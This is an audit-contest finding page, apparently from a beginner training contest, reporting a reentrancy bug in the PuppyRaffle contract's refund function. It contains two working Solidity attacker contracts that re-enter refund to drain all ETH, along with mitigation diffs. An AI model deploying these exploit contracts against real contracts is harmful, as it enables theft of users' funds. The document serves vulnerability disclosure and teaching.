Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in PuppyRaffle::refund allows an attacker to drain the entire contract balance

tray198

Reentrancy in PuppyRaffle::refund allows an attacker to drain the entire contract balance

Description

  • Normal behavior: refund should let a player who entered the raffle reclaim their entranceFee exactly once, then mark their slot inactive (address(0)) so the same ticket can never be refunded again.

  • Specific issue: refund sends ETH to the caller before it zeroes players[playerIndex], violating the checks-effects-interactions pattern. The external transfer hands control back to the caller while their slot is still active, so a malicious contract can re-enter refund and be paid its entranceFee repeatedly.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
// @> INTERACTION is performed before the EFFECT (funds are sent first)
payable(msg.sender).sendValue(entranceFee);
​
// @> EFFECT (zeroing the slot) is applied only after the external call returns
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

During the sendValue call, players[playerIndex] still equals the attacker's address, so both require checks pass again on re-entry and entranceFee is paid out on every re-entrant call until the contract is empty.

Risk

Likelihood:

  • Occurs whenever a player calls refund from a contract whose receive/fallback re-enters refund; any attacker can deploy such a contract permissionlessly and enter the raffle normally.

  • Occurs on any raffle instance holding more than a single entrance fee, since the pooled balance funds the repeated payouts.

Impact:

  • The entire ETH balance of the PuppyRaffle contract is drained in a single transaction.

  • Every other participant loses their entrance fee and the raffle is left insolvent, unable to pay out the winner. This is a direct and total loss of user funds.

Proof of Concept

  1. Honest users call enterRaffle, funding the contract with their entrance fees.

  2. The attacker enters the raffle once from a malicious contract, then calls refund.

  3. When the refund ETH is received, the attacker's receive() re-enters refund before players[playerIndex] is cleared, and repeats until the balance is drained.

contract ReentrancyAttacker {
PuppyRaffle raffle;
uint256 entranceFee;
uint256 attackerIndex;
​
constructor(PuppyRaffle _raffle) {
raffle = _raffle;
entranceFee = raffle.entranceFee();
}
​
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
raffle.enterRaffle{value: entranceFee}(players);
attackerIndex = raffle.getActivePlayerIndex(address(this));
raffle.refund(attackerIndex);
}
​
function _steal() internal {
if (address(raffle).balance >= entranceFee) {
raffle.refund(attackerIndex);
}
}
​
receive() external payable { _steal(); }
fallback() external payable { _steal(); }
}

Recommended Mitigation

Apply the checks-effects-interactions pattern by updating state before the external call, and add a reentrancy guard for defense in depth:

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
+ payable(msg.sender).sendValue(entranceFee);
}

Additionally, inherit OpenZeppelin's ReentrancyGuard and mark refund as nonReentrant.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!